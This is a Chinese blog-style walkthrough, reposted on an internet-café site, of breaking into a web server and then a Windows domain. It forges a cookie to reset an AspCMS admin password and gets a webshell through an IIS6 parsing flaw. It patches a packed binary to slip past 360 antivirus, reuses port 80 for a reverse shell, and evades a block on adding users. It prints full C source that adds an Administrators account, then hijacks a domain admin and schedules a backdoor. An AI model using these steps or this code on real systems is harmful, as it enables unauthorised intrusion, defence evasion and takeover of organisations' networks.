天下网吧 >> 网吧天地 >> 网吧技术 >> 网吧安全 >> 正文

获取webshell到内网渗透一条龙

2012-11-28博客yuyi.me

  我们首先去注册一个用户,然后我们利用谷歌cookie修改插件 我们把值修改为admin,将ID的值修改为1.这样我们就可以来修改admin的密码了。

获取webshell到内网渗透一条龙

获取webshell到内网渗透一条龙

获取webshell到内网渗透一条龙

  Aspcms拿shell就不写了 模板修改 利用iis6解析漏洞。

获取webshell到内网渗透一条龙

  我们来执行一下net user 看一下用户。不成功缺少组建。明显做了手脚。

获取webshell到内网渗透一条龙

  再一看发现了360杀毒软件。我不解为什么这么服务器安装360呢?

  这样呢我们需要反弹一个shell,但是这个shell功能太渣渣。木有这个功能。还有一个问题就是,这个服务器只对外开放了80端口,其他的端口没有开放。且换了个webshell去反弹shell时无法得到回话。这样的话我们就无法得到反弹的shell。但是我们是不是就不能反弹了呢?不然。我们可以来进行端口复用,也就是说我们反弹的shell也通过80端口、所以我们要用个小程序。但是貌似不免杀。我们来免杀一下。免杀360我基本就是加个壳改一下就ok了。好几年不做免杀,这方面都忘记了。

获取webshell到内网渗透一条龙

  随便找了个壳加了一下,我们把JBE 改为JA 。

获取webshell到内网渗透一条龙

  Good,上传到服务器运行一下

获取webshell到内网渗透一条龙

  接下来就是端口服用了。我们本地监听80.然后发一个数据包到服务器。获得shell

  突破360防黑墙我们来添加一个用户。/add 与/ad的性质是一样的。所以我们直接/ad添加 不拦截。当然 你也可以编译一下C代码

  //Code by Pnig0s1992

  //Date:2012,3,17

  #include

  #include

  #include

  #pragma comment(lib,”Netapi32.lib”)

  int AddUser(LPWSTR lpUsername,LPWSTR lpPassword,LPWSTR lpServerName);

  int SetGroup(LPWSTR lpUsername,LPWSTR lpServerName,LPWSTR lpGroupName);

  BOOL ImprovePriv(LPWSTR name);

  int main(INT argc,char * argv[])

  {

  BOOL bResult = ImprovePriv(SE_MACHINE_ACCOUNT_NAME);

  if(argc < 3)

  {

  printf(“\nCode by Pnig0s1992″);

  printf(“\nUsage:”);

  printf(“\n\t%s UserName Password”,argv[0]);

  printf(“\n\tRemark:Default add to Group:Administrators.”);

  return -1;

  }

  if(bResult)

  {

  printf(“Successfully promote priv!”);

  }else

  {

  printf(“Failed promote priv.”);

  return -1;

  }

  int Namesize=MultiByteToWideChar(CP_ACP,0,argv[1],-1,NULL,0);

  wchar_t *wUserName =new wchar_t[Namesize+1];

  if(!MultiByteToWideChar(CP_ACP,0,argv[1],-1,wUserName,Namesize))

  {

  return false;

  }

  int Passsize=MultiByteToWideChar(CP_ACP,0,argv[2],-1,NULL,0);

  wchar_t *wPassword =new wchar_t[Passsize+1];

  if(!MultiByteToWideChar(CP_ACP,0,argv[2],-1,wPassword,Passsize))

  {

  return false;

  }

  LPTSTR lpName = wUserName;

  LPTSTR lpPassword = wPassword;

  LPWSTR lpSevName = NULL;

  LPWSTR lpGroupName = L”Administrators”;

  AddUser(lpName,lpPassword,lpSevName);

  SetGroup(lpName,lpSevName,lpGroupName);

  return 0;

  }

  BOOL ImprovePriv(LPWSTR name)

  {

  HANDLE hToken;

  if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken))

  {

  printf(“\nGet process token failed.(%d)”,GetLastError());

  return FALSE;

  

  TOKEN_PRIVILEGES tkp;

  tkp.PrivilegeCount = 1;

  if(!LookupPrivilegeValue(NULL,name,&tkp.Privileges[0].Luid))

  {

  printf(“\nLookup process priv failed.(%d)”,GetLastError());

  return FALSE;

  }

  tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

  if(!AdjustTokenPrivileges(hToken,FALSE,&tkp,0,NULL,NULL))

  {

  printf(“\nAjust process priv failed.(%d)”,GetLastError());

  return FALSE;

  }

  CloseHandle(hToken);

  return TRUE;

  }

  int AddUser(LPWSTR lpUsername,LPWSTR lpPassword,LPWSTR lpServerName)

  {

  USER_INFO_1 ui;

  DWORD dwLevel = 1;

  DWORD dwError = 0;

  NET_API_STATUS nStatus;

  ui.usri1_name = lpUsername;

  ui.usri1_password = lpPassword;

  ui.usri1_priv = USER_PRIV_USER;

  ui.usri1_home_dir = NULL;

  ui.usri1_comment = NULL;

  ui.usri1_flags = UF_SCRIPT;

  ui.usri1_script_path = NULL;

  nStatus = NetUserAdd(lpServerName,dwLevel,(LPBYTE)&ui,&dwError);

  if(nStatus == NERR_Success)

  {

  printf(“\nAdd user:%S successfully!”,lpUsername);

  }else

  {

  printf(“\nAdd user failed:%d.”,nStatus);

  }

  return 0;

  }

  int SetGroup(LPWSTR lpUsername,LPWSTR lpServerName,LPWSTR lpGroupName)

  {

  NET_API_STATUS nStatus;

  LOCALGROUP_MEMBERS_INFO_3 lgui;

  lgui.lgrmi3_domainandname = lpUsername;

  nStatus = NetLocalGroupAddMembers(lpServerName,lpGroupName,3,(LPBYTE)&lgui,1);

  if(nStatus == NERR_Success)

  {

  printf(“\nSuccessfully set USER:%S to GROUP:%S!”,lpUsername,lpGroupName);

  }else if(nStatus == NERR_GroupNotFound)

  {

  printf(“\nCan’t find such a group:%S.”,lpGroupName);

  }else

  {

  printf(“\nSet GROUP:%S failed.”,lpGroupName);

  }

  return 0;

  }

  恩。。好我们继续

  有了一个用户 我们去嗅探。但是很可惜。啥子都没有。

  既然没办法 拿咱就在内网渗透上想想办法

获取webshell到内网渗透一条龙

  我们先生成一个windows可执行后门

  然后我们调用模块来监听,获得一个会话

获取webshell到内网渗透一条龙

获取webshell到内网渗透一条龙

  下面我们进行内网渗透,调用一个模块

获取webshell到内网渗透一条龙

  然后我们查看一下域,找到域管理

获取webshell到内网渗透一条龙

  我们来劫持域管理

获取webshell到内网渗透一条龙

  获得shell然后我们再来查看一下域

获取webshell到内网渗透一条龙

  我们获得域管理的时间

获取webshell到内网渗透一条龙

  然后我们计划任务 2分钟之后执行我们的后门程序

获取webshell到内网渗透一条龙

  Ok 获得会话。然后域控你有了,你懂的

本文来源:博客 作者:yuyi.me

声明
声明:本站所发表的文章、评论及图片仅代表作者本人观点,与本站立场无关。文章是出于传递更多信息之目的。若有来源标注错误或侵犯了您的合法权益,请作者持权属证明与本网联系,我们将及时更正、删除,谢谢。 Email:support@txwb.com,系统开号,技术支持,服务联系微信:_WX_1_本站所有有注明来源为天下网吧或天下网吧论坛的原创作品,各位转载时请注明来源链接!
天下网吧·网吧天下
  • 本周热门
  • 本月热门
  • 阅读排行